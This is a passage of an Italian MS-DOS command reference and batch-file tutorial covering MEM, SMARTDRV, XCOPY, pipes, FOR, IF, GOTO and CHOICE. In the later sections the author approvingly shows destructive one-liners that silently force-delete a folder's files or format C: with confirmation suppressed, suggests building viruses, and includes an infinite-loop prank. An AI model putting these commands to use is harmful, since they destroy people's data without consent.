| di memoria ed elenca i blocchi di memoria piu' grandi a disposizione. |
| E' possibile utilizzare l'opzione /CLASSIFY con /PAGE, ma non con altre opzion|
| di MEM. L'opzione /CLASSIFY si puo' abbreviare in /C. |
| /FREE |
| Elenca le aree di memoria convenzionale e superiore libere. MEM /FREE |
| visualizza l'indirizzo del segmento, la dimensione di ogni area di memoria |
| convenzionale libera e il blocco piu' grande libero in ogni area di memoria |
| superiore. E' possibile utilizzare l'opzione /FREE con /PAGE, ma non con altre|
| opzioni di MEM. Si puo' abbreviare /FREE in /F. |
| /PAGE |
| Fa una pausa dopo ogni schermata di output. Questa opzione puo' essere |
| utilizzata con altre opzioni di MEM. |
+--------------------------------------------------------------------------------+
| |
| MKDIR (MD) |
| |
|Crea una directory. E' possibile utilizzare il comando MKDIR per creare una |
|struttura di directory su piu' livelli. |
| |
| MKDIR [unita':]percorso |
| MD [unita':]percorso |
+--------------------------------------------------------------------------------+
| |
| MSCDEX |
| |
|Fornisce accesso alle unita' CD-ROM. MSCDEX puo' essere caricato dal file |
|AUTOEXEC.BAT o dal prompt dei comandi. Il driver di periferica che fa parte |
|dell'unita' CD-ROM deve essere caricato dal file CONFIG.SYS. Per maggiori |
|informazioni, vedere l'argomento Nota. |
|Il comando MSCDEX non dovrebbe essere utilizzato dopo che Windows e' stato avvia|
| |
| MSCDEX /D:periferica [/D:periferica2... ] [/E] [/K] [/S] [/V] |
| [/L:lettera] [/M:numero] |
| |
| Parametri |
| /D:periferica1 [/D:periferica2... ] |
| Specifica la signature del driver del primo driver di periferica CD-ROM. |
| Il parametro periferica1 deve coincidere con il parametro speicificato |
| dall'opzione /D sul comando CONFIG.SYS che avvia il driver di periferica |
| corrispondente CD-ROM. |
| Il comando MSCDEX deve includere almeno un'opzione /D. Per installare |
| dei driver di periferica CD-ROM addizionali, specificare un'opzione addizio- |
| nale /D per ciascun driver. |
| /E Specifica che il driver CD-ROM deve essere predisposto in modo da espandere|
| memoria, se ne esiste disponibile, per archiviare dei buffer di settore. |
| /V Indica a MSCDEX di visualizzare delle statistiche di visualizzazione della |
|memoria quando viene avviato. |
| /L:lettera |
| Specifica le lettere dell'unita' da assegnare alla prima unita' CD-ROM. Se si|
| ha piu' di un'unita' CD-ROM, MS-DOS assegna delle unita' addizionali |
| conseguenti alle lettere dell'unita' disponibili. |
| /M:numero |
| Specifica il numero di buffer di settore. |
+--------------------------------------------------------------------------------+
| |
| PATH |
| |
|Imposta un percorso di ricerca per file eseguibili. |
|MS-DOS utilizza il comando PATH per cercare i file eseguibili nelle directory |
|specificate. Il percorso di ricerca predefinito e' solo la directory corrente. |
| |
| PATH [[unita':]percorso[;...]] |
| |
|Per visualizzare il percorso di ricerca corrente, utilizzare la sintassi: PATH |
| |
|Per eliminare tutte le impostazioni dei percorsi di ricerca e lasciare soltanto |
|quella predefinita (la directory corrente), utilizzare la seguente sintassi PATH|
| |
|Quando e' specificato da solo, elimina tutte le impostazioni dei percorsi e |
|indica a MS-DOS di ricercare soltanto nella directory corrente. |
+--------------------------------------------------------------------------------+
| |
| PRINT |
| |
|Stampa un file di testo durante l'elaborazione di altri comandi MS-DOS. |
|Se si dispone di una periferica di output, collegata ad una delle porte seriali |
|o parallele del sistema, con il comando PRINT sara' possibile stampare in back |
|ground. |
| |
| PRINT [/D:periferica] [/B:dimensioni] [/U:tic1] [/M:tic2] [/S:tic3] |
| /Q:dimensionicoda] [/T] [[unita':][percorso] nomefile[ ...]] [/C] [/P] |
| |
|Per installare il comando PRINT utilizzando i parametri predefiniti o per |
|visualizzare il contenuto della coda di stampa senza modificarla, la sintassi |
|sara' la seguente: PRINT |
| |
| Opzioni |
| /D:periferica |
| Specifica il nome della periferica di stampa. I valori validi delle porte |
| parallele sono LPT1, LPT2 e LPT3. I valori validi delle porte seriali sono |
| COM1, COM2,

  
COM3 e COM4. Il valore predefinito e' PRN. I valori PRN e LPT1 |
| si riferiscono alla stessa porta parallela. L'opzione /D deve precedere il |
| nome di qualsiasi file sulla riga di comando. |
| /T Elimina tutti i file dalla coda di stampa. |
+--------------------------------------------------------------------------------+
| |
| PROMPT |
| |
|Modifica l'aspetto del prompt dei comandi di MS-DOS. |
|E' possibile personalizzare l'aspetto del prompt dei comandi in maniera tale da |
|visualizzare una qualsiasi stringa di testo, con informazioni quali il nome dell|
|directory corrente, l'ora e la data e il numero della versione di MS-DOS. |
| |
| PROMPT [testo] |
| |
| Testo |
| |
| $Q = (segno di uguale) |
| $$ $ (simbolo del dollaro) |
| $T Ora corrente |
| $D Data corrente |
| $P Unita' e percorso corrente |
| $V Numero della versione di MS-DOS |
| $N Unita' corrente |
| $G > (segno di maggiore) |
| $L < (segno di minore) |
| $B | (pipe) |
| $_ INVIO-NUOVA RIGA |
| $E Il codice escape ASCII (codice 27) |
| $H BACKSPACE (elimina un carattere che e' stato scritto sulla riga di prompt|
+--------------------------------------------------------------------------------+
| |
| RENAME (REN) |
| |
|Cambia il nome di uno o piu' file. |
|E' possibile assegnare un nuovo nome a tutti i file che corrispondono al nome |
|specificato. Non e' possibile utilizzare questo comando per assegnare un nuovo |
|nome a file di unita' diverse o per spostarli in nuove directory. Per rinominare|
|le sottodirectory o spostare i file, utilizzare il comando |
| |
| RENAME [unita':][percorso]nomefile1 nomefile2 |
| REN [unita':][percorso]nomefile1 nomefile2 |
+--------------------------------------------------------------------------------+
| |
| RMDIR (RD) |
| |
|Elimina (rimuove) una directory. |
|Prima di eliminare una directory, e' necessario eliminare prima tutti i file e |
|le sottodirectory contenuti in essa. La directory deve essere vuota, fatta |
|eccezione per i simboli "." e "..". |
| |
| RMDIR [unita':]percorso |
| RD [unita':]percorso |
+--------------------------------------------------------------------------------+
| |
| SCANDISK |
| |
|Avvia Microsoft ScanDisk, un'utilita' di scansione e ripristino che controlla |
|una data unita' per rilevare degli errori e correggere eventuali problemi. |
|Per un'introduzione all'uso di ScanDisk, consultare |
| |
|Usare la sintassi seguente per controllare eventuali errori su disco: SCANDISK |
| |
|Usare la sintassi seguente per controllare eventuali errori su due o piu' dischi|
| |
| SCANDISK [unita': [unita': ...]|/ALL] [/CHECKONLY | /AUTOFIX [/NOSAVE] | |
| CUSTOM] [/SURFACE] [/MONO] [/NOSUMMARY] |
| |
| Opzioni |
| /ALL Controlla e ripristina tutte le unita' locali. |
| /AUTOFIX |
| Corregge gli errori senza chiedere prima conferma. Per impostazione |
| predefinita, avviando ScanDisk con l'opzione /AUTOFIX tutti i cluster persi |
| rilevati sull'unita', verranno salvati come file nella directory principale |
| dell'unita'. Per fare in modo che ScanDisk elimini i cluster persi invece di|
| salvarli, includere l'opzione /NOSAVE. Utilizzando l'opzione /AUTOFIX, se |
| vengono rilevati errori verra' richiesto un disco Undo. Per evitarlo, |
| includere l'opzione /NOSUMMARY. Non e' possibile utilizzare l'opzione |
| /AUTOFIX unitamente alle opzioni /CHECKONLY o /CUSTOM. |
| /CHECKONLY |
| Controlla una data unita' per rilevarvi degli errori, ma non li corregge. |
| Non si puo usare questa opzione unitamente alle opzioni /AUTOFIX or /CUSTOM|
| /NOSAVE |
| Fa in modo che ScanDisk elimini tutti i cluster persi rilevati. Puo' essere |
| utilizzato solo unitamente all'opzione /AUTOFIX. (Se si avvia ScanDisk con |
| l'opzione /AUTOFIX omettendo l'opzione /NOSAVE, ScanDisk salvera' il |
| contenuto dei cluster persi come file nella directory principale dell'unita'|
| /SURFACE |
| Esegue automaticamente una scansione della superficie dell'unita' dopo aver |
| controllato altre aree. Con una scansione della superficie di un'unita' non |
| compressa, ScanDisk conferma che i dati possono essere scritti e letti con |
| sicurezza. Con la scansione di un'unita' compressa ScanDisk conferma che i |
| dati possono essere decompressi. E' consigliabile esaminare periodicamente |
| la superficie di tutte le unita'. In base all'impostazione predefinita, una |
| volta terminato l'esame del file system di una data unita', ScanDisk chiede |
| se si desidera effettuare una scansione della superficie. Con l'opzione |
| /SURFACE tale scansione viene effettuata senza chiedere conferma. Se si usa |
| /SURFACE unitamente all' opzione /CUSTOM esso ha la precedenza sulle imposta|
| zioni di Superficie nella sezione [Custom] del file SCANDISK.INI. |
+--------------------------------------------------------------------------------+
| |
| SMARTDRV |
| |
|Avvia o configura il programma SMARTDrive il quale crea una cache del disco nell|
|memoria estesa. Una cache del disco puo' velocizzare in modo significativo le |
|operazioni di MS-DOS. Quando viene utilizzato per l'operazione di caching del |
|disco, SMARTDrive viene caricato utilizzando il comando SMARTDRV nel file |
|AUTOEXEC.BAT o al prompt dei comandi. SMARTDrive puo' anche eseguire un doppio |
|buffering, il quale e' compatibile per i controller del disco rigido che non |
|possono funzionare con la memoria fornita da EMM386 o Windows eseguito in modali|
|ta' 386 avanzata. Per utilizzare il doppio buffering, caricare il driver di peri|
|ferica utilizzando un comando DEVICE nel file CONFIG.SYS. |
|Il comando SMARTDRV non sara' caricato dopo che Windows e' stato avviato. |
| |
|Quando si avvia SMARTDrive dal file AUTOEXEC.BAT o dal prompt dei comandi, |
|utilizzare la seguente sintassi: |
| |
| [unita':][percorso]SMARTDRV [/X] [[unita'[+|-]]...] [/U] [/C|/R] [/F|/N] |
| [/L] [/V|/Q|/S] [DimCacheIniz][DimCacheWin]] [/E:DimElemen] [/B:] |
| |
|Quando inizia l'esecuzione di SMARTDrive, utilizzare la seguente sintassi: |
| |
|SMARTDRV [/X] [[unita'[+|-]]...]] [/C|/R] [/F|/N] [/Q|/S] |
| |
|Per visualizzare lo stato corrente dopo che e' stato caricato SMARTDrive, usare |
|la sintassi seguente: SMARTDRV |
| |
|Se si specifica una lettera dell'unita' senza un segno di addizione o sottrazio |
|ne, l'opzione di caching di lettura e' attivata e quella di scrittura e' disat |
|tivata. Se si specifica una lettera dell'unita' seguita da un segno di addizione|
|le due opzioni sono attivate. Se si specifica una lettera dell'unita' seguita da|
|un segno di sottrazione, le opzioni sono disattivate. Se non si specifica una |
|lettera dell'unita', le unita' dischi floppy, CD-ROM e le unita' create utiliz |
|zando Interlnk sono attivate con l'opzione di lettura ma non di scrittura, i dis|
|chi fissi conentrambe le opzioni attivate e le unita' di rete e le schede di |
|memoria Microsoft Flash vengono ignorate. Per maggiori informazioni su come |
|DriveSpace effettua il caching delle unita' compresse, vedere Note. Dimcacheiniz|
|Specifica la dimensione in kilobyte della cache quando SMARTDrive viene avviato |
|(quando Windows non viene eseguito). DimCacheWin Specifica, in kilobyte, in che |
|misura SMARTDrive ridurra' la dimensione della cache per Windows. Quando viene |
|avviato Windows, SMARTDrive riduce la dimensione della cache per recuperare memo|
|ria per l'utilizzo di Windows. |
| |
| Opzioni |
| /X Disattiva il caching write-behind per tutte le unita'. E' possibile |
| quindi attivare il caching per le singole unita' usando il parametro |
| unita'+|-. |
| /U Non carica il modulo caching CD-ROM di SMARTDrive anche se si possiede |
| un'unita' CD-ROM. Se viene caricato SMARTDrive con l'opzione /U, non e' |
| possibile attivare il caching dell'unita' CD-ROM. Se e' caricato SMARTDrive|
| senza l'opzione /U, e' possibile disattivare o attivare il caching di singo|
| le unita' CD-ROM usando il parametro dell'unita'+|-. |
| /C Scrive tutte le informazioni di cui e' stato eseguito il caching dalla |
| memoria sui dischi. SMARTDrive scrive informazioni dalla memoria sul disco |
| a volte quando altra attivita' del disco e' rallentata. Si potrebbe utiliz-|
| zare questa opzione se si sta spegnendo il computer e ci si vuole assicura-|
| re che le informazioni cache sono state scritte sul disco. |
| SMARTDrive scrive tutte le informazioni cache sul disco se si riavvia il |
| computer premendo CTRL+ALT+CANC, ma non se si spegne o si preme il pulsante|
| di riavvio. |
| /S Visualizza informazioni addizionali circa lo stato di SMARTDrive. |
| Avvertenza: Controllare che SMARTDrive abbia completato l'opzione di cache|
| di scrittura prima di riavviare o spegnere il computer. Questo non e' neces|
| sario se si riavvia il computer premendo CTRL+ALT+CANC. Per fare in modo |
| che SMARTDrive scriva tutte le informazioni di cui e' stato eseguito il |
| caching sui dischi, digitare SMARTDRV /C al prompt dei comandi. Dopo che |
| l'attivita' del disco |e' stata interrotta, e' possibile riavviare il compu|
| ter per sicurezza o spegnere il computer. |
+--------------------------------------------------------------------------------+
| |
| SUBST |
| |
|Associa un percorso ad una lettera di unita'. |
|La lettera di unita' assegnata rappresenta un'unita' virtuale dato il suo possi-|
|bile uso come unita' fisica all'interno dei comandi. Non usare il comando SUBST |
|quando Windows e' in esecuzione. |
| |
| SUBST [unita'1: [unita'2:]percorso] |
| SUBST unita'1: /D |
| |
|Per visualizzare i nomi delle unita' virtuali attive, utilizzare sintassi: SUBST|
| |
| Opzione |
| /D Elimina un'unita' virtuale. |
+--------------------------------------------------------------------------------+
| |
| SYS |
| |
|Crea un disco di avvio, copiando sul disco i file di sistema di MS-DOS (IO.SYS |
|and MSDOS.SYS), l'interprete dei comandi MS-DOS (COMMAND.COM) e la parte di |
|MS-DOS che fornisce accesso alle unita' compresse (DRVSPACE.BIN). Il comando SYS|
|copiera' il file DRVSPACE.BIN solo se tale file si trova nella directory princi-|
|pale dell'unita' o della directory di origine. IO.SYS, MSDOS.SYS and DRVSPACE.BI|
|sono file nascosti e pertanto in genere non compaiono negli elenchi delle direc-|
|tory visualizzate dal comando DIR. |
|Per visualizzare questi file, digitare DIR /A. |
| |
| SYS [unita'1:][percorso] unita'2: |
+--------------------------------------------------------------------------------+
| |
| TYPE |
| |
|Visualizza il contenuto di un file di testo. |
|Utilizzare il comando TYPE per visualizzare un file di testo senza modificarlo. |
| |
| TYPE [unita':][percorso]nomefile |
+--------------------------------------------------------------------------------+
| |
| UNDELETE |
| |
|Ripristina i file eliminati in precedenza con il comando. |
|UNDELETE fornisce tre livelli di protezione dei file da eliminazioni accidentali|
|metodo Sentry di eliminazione, metodo Registro di eliminazione e metodo Standard|
|Per maggiori informazioni relative ai singoli livelli di protezione, vedere Note|
|Per informazioni relative alla versione di Undelete per Windows, consultare il |
|capitolo "Gestione del sistema" nel Manuale dell'utente di MS-DOS oppure la Guid|
|di Undelete per Windows. |
| |
| UNDELETE [[unita':][percorso]nomefile] [/DT|/DS|/DOS] |
| UNDELETE [/LIST|/ALL|/PURGE[unita']|/STATUS|/LOAD|/UNLOAD|/S[unita]|/Tunita' |
| [-voci]] |
| |
| Opzioni |
| /LIST |
| Elenca i file eliminati che sono disponibili per il recupero, ma non recupera|
| alcun file. Il parametro [unita':][percorso]nomefile e le opzioni /DT, /DS e |
| /DOS controllano l'elenco fornito dall'opzione. |
| /DOS |
| Recupera soltanto i file elencati come file eliminati da MS-DOS, chiedendo |
| conferma per ciascuno di essi. Se esiste un file di registrazione dell'elimi-|
| nazione, l'opzione indica a Undelete di ignorarlo. |
| /LOAD |
| Carica nella memoria Undelete, un programma residente in memoria, utilizzando|
| le informazioni definite nel file UNDELETE.INI. Se il file UNDELETE.INI non |
| esiste, Undelete utilizzera' i valori predefiniti. |
| /UNLOAD |
| Rimuove la porzione del programma Undelete che risiede in memoria, impedendo |
| in tal modo il ripristino dei file eliminati. |
+--------------------------------------------------------------------------------+
| |
| UNFORMAT |
| |
|Ripristina un disco cancellato dal comando FORMAT. |
|UNFORMAT ripristina solo unita' disco rigido o floppy locali, mentre non puo' |
|essere utilizzato per ripristinare unita' di rete. Il comando UNFORMAT puo' |
|inoltre ricostruire una tabella delle partizioni del disco danneggiate su un' |
|unita' disco rigido. |
| |
| UNFORMAT unita': [/L] [/TEST] [/P] |
| |
| Opzioni |
| /L Elenca tutti i file e le sottodirectory trovate da UNFORMAT. Se questa |
| opzione non viene specificata, UNFORMAT elenca solo le sottodirectory e |
| i file frammentati. Per sospendere lo scorrimento dell'elenco visualizzato,|
| premere la combinazione di tast i CTRL+S. Per riprendere lo scorrimento, |
| premere un tasto qualsiasi. |
+--------------------------------------------------------------------------------+
| |
| VER |
| |
|Visualizza il numero della versione di MS-DOS. |
| |
| VER |
+--------------------------------------------------------------------------------+
| |
| VOL |
| |
|Visualizza l'etichetta di volume e il numero di serie del disco, se esistenti. |
| |
| VOL [unita':] |
+--------------------------------------------------------------------------------+
| |
| XCOPY |
| |
|Copia file (ad eccezione dei file di sistema e nascosti) e directory, incluse le|
|sottodirectory. |
|Con questo comando e' possibile copiare tutti i file di una directory, compresi |
|i file nelle relative sottodirectory. |
| |
| XCOPY origine [destinazione] /Y|/-Y] [/A|/M] [/D:data] [/P] [/S] [/E] [/V] [/W]|
| |
| Opzioni |
| /Y Indica che XCOPY sostituisce i file esistenti senza chiedere conferma. |
| Per impostazione predefinita, se si specifica un file come file di destina-|
| zione, XCOPY chiedera' se si desidera sovrascrivere il file esistente. (Le |
| versioni precedenti di MS-DOS sostituiscono semplicemente il file esistente|
| Se il comando XCOPY e' parte di un file batch, XCOPY si comportera' come |
| nelle precedenti versioni. Specificando questa operazione si ha la precede-|
| nza su tutte le impostazioni predefinite e correnti della variabile d'ambie|
| nte COPYCMD. |
| /-Y Indica che XCOPY chiede la conferma quando sostituisce un file esistente. |
| Specificando questa opzione si ha la precedenza su tutte le impostazioni |
| predefinite e correnti della variabile d'ambiente COPYCMD. |
| /P Chiede conferma alla creazione di ciascun file di destinazione con un messa|
| ggio. |
| /S Copia le directory e le sottodirectory, purche' non siano vuote. Se viene |
| omessa questa opzione, XCOPY ha effetto solo all'interno di una singola |
| directory. |
| /E Copia qualsiasi sottodirectory, anche se vuota. Con questa opzione e' neces|
| sario utilizzare l'opzione /S. |
+--------------------------------------------------------------------------------+
| |
| -=< 4 >=- L'USO DEI CARATTERI JOLLY |
| |
|In ambiente DOS c'è la possibilità di raggruppare tutti i files di uno stesso |
|tipo durante lo svolgimento di un'operazione. Ad esempio , se volessi che tutti |
|i miei files di WORD (che hanno estensione ".DOC") vengano messi in una cartella|
|differente da quella in cui sono in questo momento, ammettendo che la vecchia |
|cartella sia c:\vecchia e che quella nuova sia c:\nuova\ , posso scrivere: |
| |
| copy c:\vecchia\*.doc c:\nuova\ o altrimenti: |
| move c:\vecchia\*.doc c:\nuova\ |
| |
|C'è anche il modo di selezionare TUTTI i files che ci sono in una cartella, |
|indipendentemente dalla loro estensione. Basta scrivere questo: |
| |
| copy c:\vecchia\*.* c:\nuova\ |
| move c:\vecchia\*.* c:\nuova\ |
| |
|Ovviamente, è sfruttabile con TUTTI i comandi, non solo con "copy" o "move". |
+--------------------------------------------------------------------------------+
| |
| -=< 5 >=- IL COMANDO ECHO |
| |
|Il comando ECHO serve a far apparire sul monitor (o su un file, se ridirezionia-|
|mo l'output) una frase o una parola scritta. |
| |
| echo CIAO! |
| |
|Ms Dos visualizzerà CIAO! |
| |
|Possiamo anche far saltare una riga col comando echo, basta scrivere |
| |
| echo. |
| |
|Questo serve in caso che doveste creare un menu o delle spiegazioni con delle |
|interlinee. |
+--------------------------------------------------------------------------------+
| |
| -=< 6 >=- SCRIVIAMO IL NOSTRO PRIMO BATCH |
| |
|Poniamo di dovere nello stesso tempo eliminare tutti i files con estensione .doc|
|e di dovere rinominare tutti i files di testo (*.txt) in files con estensione |
|.xxx, magari perchè un certo programma ce lo richiede (il caso è assurdo, lo so,|
|ma per fare capire non conosco un altro metodo :-). |
| |
|Come possiamo fare?! |
|Prima di tutto stabiliamo che lavoreremo su due cartelle, cioè: |
| |
| c:\documenti\textdoc\ |
| c:\documenti\xxxdoc\ |
| |
|Quindi, creiamole subito con Windows o con Dos (vedere lassu' come fare con Dos)|
|Per poter fare questa prova, dobbiamo mettere nella cartella |
|c:\documenti\textdoc\ dei files con estensione .doc (createne voi, o copiatene |
|degli altri .. ) Mentre in c:\documenti\xxxdoc\ dobbiamo avere dei files .TXT |
|(vale la stessa cosa anche qua ... trovateli o fateli voi ... ) |
|A questo punto dobbiamo creare il BATCH. |
| |
|Dal Prompt di MsDos, digitiamo: |
| |
| copy con c:\documenti\prova.bat |
| |
|Con questo comando scriveremo dal Prompt il nostro file. |
|Dovete sapere che ogni BATCH, a meno che non sia specificato, mostra all'utente |
|OGNI comando dato. Per esempio, se dovessimo copiare un file chiamato Testo.txt |
|da una cartella ad un altra, il computer ci visualizzerebbe il comando dato cioè|
| |
|"copy c:\testo.txt c:\documenti" ... e anche |
|" 1 file copiato/i" |
| |
|Per evitare che visualizzi almeno il COMANDO è utilissimo scrivere qesto comando|
|all'inizio di tutti i nostri batch: |
| |
| @echo off |
| |
|ECHO OFF appunto, non mostra il comando, mentre la chiocciola davanti non mostra|
|nemmeno il comando "ECHO OFF". La "@" messa davanti ad un qualsiasi comando , lo|
|nasconde se non è stato scritto "ECHO OFF" all'inizio,mentre lo mostra se è gia |
|stato scritto. |
| |
|Okay, dopo aver scritto "@echo off" diamo un invio. |
|Noterete che Dos sta fungendo da editor di testoe noi possiamo scrivere tutte le|
|stringhe di comandi che desideriamo. Dopo ogni comando, diamo SEMPRE un invio |
|per andare a capo. |
| |
|Adesso dobbiamo eliminare tutti i .DOC , e lo facciamo così: |
| |
| erase c:\documenti\textdoc\*.doc |
| |
|Bene, adesso rinominiamo tutti i files .txt che ci sono in c:\documenti\xxxdoc\ |
|in .XXX |
| |
|rename c:\documenti\xxxdoc\*.txt *.xxx |
| |
|Fatto! Se tutto va bene, possiamo vedere il nostro file tutto completo ... |
| |
| @echo off |
| erase c:\documenti\textdoc\*.doc |
| rename c:\documenti\xxxdoc\*.txt *.xxx |
| |
|Per finire di digitare, premiamo Ctrl+Z e il computer ci dirà "1 file copiato/i"|
+--------------------------------------------------------------------------------+
| |
| -=< 7 >=- FACCIAMO PARTIRE IL NOSTRO BATCH |
| |
|Andiamo a vedere da Windows il nostro batch, lo troviamo in c:\documenti\ |
|Avviamolo e stiamo a vedere che fa. A fine del lavoro la finestra di DOS ci deve|
|dire: |
| |
| "ESECUZIONE TERMINATA", restando aperta. |
| |
|Se tutto è andato bene, avremo eliminato tutti i .doc e avremo rinominato tutti |
|i .txt in .xxx . Bene, il lavoro è stato eseguito con successo! |
+--------------------------------------------------------------------------------+
| |
| -=< 8 >=- INVENTIVA |
| |
|Quello che vi serve per creare dei batch è solo ed esclusivamente INVENTIVA. |
|Con un po' di pratica, un po' di studio dei comandi principali, potrete creare |
|un sacco di potenti batch. |
|Mi raccomando, evitate di fare troppi danni :-), o se dovete proprio farli, |
|fateli bene! |
+--------------------------------------------------------------------------------+
| |
| -=< 9 >=- RIDIREZIONARE L'OUTPUT |
| |
|Con DOS è possibile ridirezionare l'output dei comandi ad una periferica o in un|
|file. E si puo' anche caricare i comandi di un file di testo come dei comandi |
|per DOS. |
| |
|Per questo, si usano i caratteri ">" e "<" |
| |
|Se volessi ad esempio scrivere la lista delle mie directory su un file di testo,|
|lo farei così: |
| |
| dir/p > c:\dirlog.txt |
| |
|Abbiamo cioè salvato tutto quello che doveva essere visualizzato sul monitor in |
|un file chiamato "dirlog.txt". In questo modo se non esiste, creiamo il file |
|dirlog.txt e ci scriviamo sopra. Se invece volessimo accodare ad un file gia |
|preesente l'output dei nostri comandi, dovremmo usare ">>" anzichè ">". |
|Un solo ">" SOVRASCRIVE il file, mentre ">>" ACCODA tutto l'output al file gia |
|presente. |
| |
|Se volessimo vedere cio che c'è scritto in quel file ... digitiamo: |
| |
| more < c:\dirlog.txt |
| |
|Adesso tutto quello che c'è scritto su quel file verrà visualizzato poco alla |
|volta sul nostro schermo. |
| |
|Se volessimo stampare un documento, digitiamo: |
| |
| more c:\dirlog > lpt1 |
| |
|IL > NUL |
| |
|MsDos permette di ridirezionare l'output "nel nulla". |
|Cosa significa? Che il comando viene eseguito, ma non verrà visualizzato o salva|
|to da nessuna parte. Utile per nascondere certi comandi che non vogliamo far |
|visualizzare all'utente. |
| |
| echo s | erase c:\nomecartella\*.* > nul |
| |
|In questa stringa è racchiusa una vera e propria bastardata , in quanto l'utente|
|all'oscuro di tutto elimina ogni file nella directory. |
+--------------------------------------------------------------------------------+
| |
| -=< 10 >=- L'USO DELLA PIPELINE |
| |
|La PIPELINE è un carattere speciale che dirige il comando che la precede al |
|comando che viene dopo. Per farvi capire meglio, quando noi ad esempio vogliamo |
|eliminare tutti i files di una directory (cartella), dovremmo digitare |
| |
| erase *.* |
| |
|Ma il sistema ci visualizza una conferma di eliminazione ... cosa che noi NON |
|vogliamo proprio per nulla! |
|La PIPELINE in questo caso è UTILISSIMA! |
| |
|echo s | erase c:\nomecartella\*.* |
| |
|Con questo comando il sistema SCRIVE (echo) una "S" alla conferma della elimina-|
|zione, e quindi l'utente non potrà decidere di confermare o di stoppare il batch|
|Malvagio, no? |
|Ovviamente, vale per TUTTI i comandi, come anche |
| |
|echo s | format c: |
| |
|(chi ha un minimo di intelligenza avrà capito lo scopo di questo comando!) |
+--------------------------------------------------------------------------------+
| |
| -=< 11 >=- L'USO DEL COMANDO "FOR" |
| |
|Ogni utente che si avvicina al mondo della "programmazione" dei batch cambia la |
|propria concezione di quello che puo' causare un file .BAT. |
| |
|Per farvi capire, dobbiamo agire interamente da DOS. |
|Creiamo un batch contenente i seguenti comandi, e lo chiamiamo "name.bat" |
| |
| @echo off |
| echo il primo parametro e' %1 |
| echo il secondo parametro e' %2 |
| echo il terzo parametro e' %3 |
| |
|Bene, adesso sempre da DOS digitiamo |
| |
| name.bat MILAN INTER JUVE |
| |
|Il risultato sarà: |
| |
| c:\name.bat MILAN INTER JUVE |
| il primo parametro e' MILAN |
| il secondo paramentro e' INTER |
| il terzo parametro e' JUVE |
| |
|Perchè questo? |
|Quando DOS trova "%1", va a prendere come nome la prima parola DOPO il nome del |
|nostro file batch. Dopo di quello, assegna automaticamente %2 %3 .... a tutti i |
|nomi (argomanti) seguenti ... |
| |
|Applicato al comando FOR, la cui sintassi è: |
| |
| FOR %%PARAMETRO IN(cartelle, files ...) DO COMANDO |
| |
|Ovvero "Per ogni elemento in un certo luogo, esegui un comando" |
| |
|ESEMPIO PRATICO |
| |
|for %%a in (c:\documenti\*.doc) do echo %%a > c:\nomi.txt |
| |
|Con questo comando scriviamo il nome di ogni file con estensione .DOC sul file |
| |
|c:\nomi.txt |
| |
|So perfettamente che non è molto semplice da capire, ma si tratta di fare solo |
|un po' di esperienza, dopotutto. |
+--------------------------------------------------------------------------------+
| |
| -=< 12 >=- L'USO DELL' IF EXIST / IF NOT EXIST ... |
| |
|DOS permette di eseguire un certo comando a certe condizioni. |
|Se volessimo ad esempio creare un batch che ci visualizzi un avviso se abbiamo |
|un certo file in una cartella, dovremmo scrivere: |
| |
| if exist c:\nomefile.??? echo FILE PRESENTE |
| |
|(Ovvio, i ??? sono l'estensione del file!) |
|La stessa cosa possiamo farla se una certa condizione NON è soddisfatta: |
| |
| if not exist c:\nomefile.??? echo FILE MANCANTE |
| |
|Il tutto è facilmente applicabile in ogni batch ... basta avere un po' di fanta-|
|sia. |
|Altri esempi ... |
| |
| if exist c:\windows\temp\*.* echo s | erase c:|windows\temp\*.* |
+--------------------------------------------------------------------------------+
| |
| -=< 13 >=- L'USO DI "GOTO" |
| |
|In un batch è possibile saltare da un comando all'altro senza rispettare l'ordi-|
|ne. |
| |
|Esempio pratico: Vogliamo che il nostro batch salti un comando se è presente un |
|certo file in una cartella. |
| |
| @echo off |
| if exist c:\documenti\file.??? goto keep |
| erase c:\documenti\file.??? |
| :keep |
| echo FILE PRESENTE |
| |
|In questo modo verrà saltata l'eliminazione del file, poiche' e è presente, DOS |
|va a cercare il caposaldo :keep e ricomincia l'esecuzione del bach da quel punto|
| |
|Con questa tecnica si puo' creare un loop infinito, dato che possiamo richiamare|
|anche dei comandi scritti PRIMA del "GOTO". |
| |
| @echo off |
| :init |
| echo BUM! |
| goto init |
| |
| Provate a fermarloooooo !!! |
| |
|L'uso di GOTO è molto importante per creare un batch SERIAMENTE intelligente, e |
|magari unendo IF ... + GOTO possiamo creare dei veri virus. |
+--------------------------------------------------------------------------------+
| |
| -=< 14 >=- L'USO DI "REM" |
| |
|Per chi scrive i batch, non è sempre così facile ricordarsi tutto quello che |
|viene svolto dopo una buona serie di comandi, e per facilitare il lavoro al pro-|
|grammatore dei suddetti, è stato introdotto il comando REM |
| |
|E' preticamente identico a ECHO, solo che il testo scritto dopo un REM non verrà|
|visualizzato nell'esecuzione del batch. Diciamo che è un comando "Pro memoria"! |
+--------------------------------------------------------------------------------+
| |
| -=< 15 >=- L'USO DI "CHOICE" |
| |
|CHOICE è un comando MOLTO interessante e rende i nostri batch molto piu funzio- |
|nali e dinamici. Serve sostanzialmente a far scegliere all'utente cosa fare. |
| |
|La sintassi è la seguente: |
| |
| CHOICE[string][/C:keys][/S][/T:key,secs] |
| |
| choice /c:P5ep /S |
| |
|Il flag /S abilita l'opzione "Case Sensitive" ... cioè significa che premere ad |
|Esempio "P" e "p" significano due cose differenti. |
| |
|choice SCEGLI IL BROWSER /c:NI /t:1,5 |
| |
|Significa che l'utente deve scegliere tra N e I e se non viene premuto nulla, |
|dopo 5 secondi viene automaticamente selezionato "I". |
| |
|Adesso, usando il comando "IF ERRORLEVEL", completiamo il lavoro di CHOICE. |
|Mi spiego meglio ... |
| |
| @ECHO OFF |
| ECHO. |
| ECHO. |
| ECHO Benvenuti nella scelta del browser |
| ECHO. |
| ECHO 1. Internet Explorer 5.5 |
| ECHO 2. Mozilla 5 |
| ECHO x. Esci |
| ECHO. |
| CHOICE "Scegli" /C:12x /N |
| IF ERRORLEVEL 3 GOTO END |
| IF ERRORLEVEL 2 START C:\progra~1\Netscape |
| IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe |
| :END |
| |
|In questo esempio abbiamo proprio il significato di CHOICE e IF ERRORLEVEL. |
|Non servono parole per capirlo, basta guardare :-) |
+--------------------------------------------------------------------------------+
| |
| -=< 16 >=- IL CARATTERE FANTASMA ALT 255 |
| |
|C'è un modo per togliere apparentemente il nome ad un file o ad una cartella. |
|Certo, detto così sembra una cazzata, ma vi assicuro che in molti ci cascano e |
|in tanti altri ci restano male! |
| |
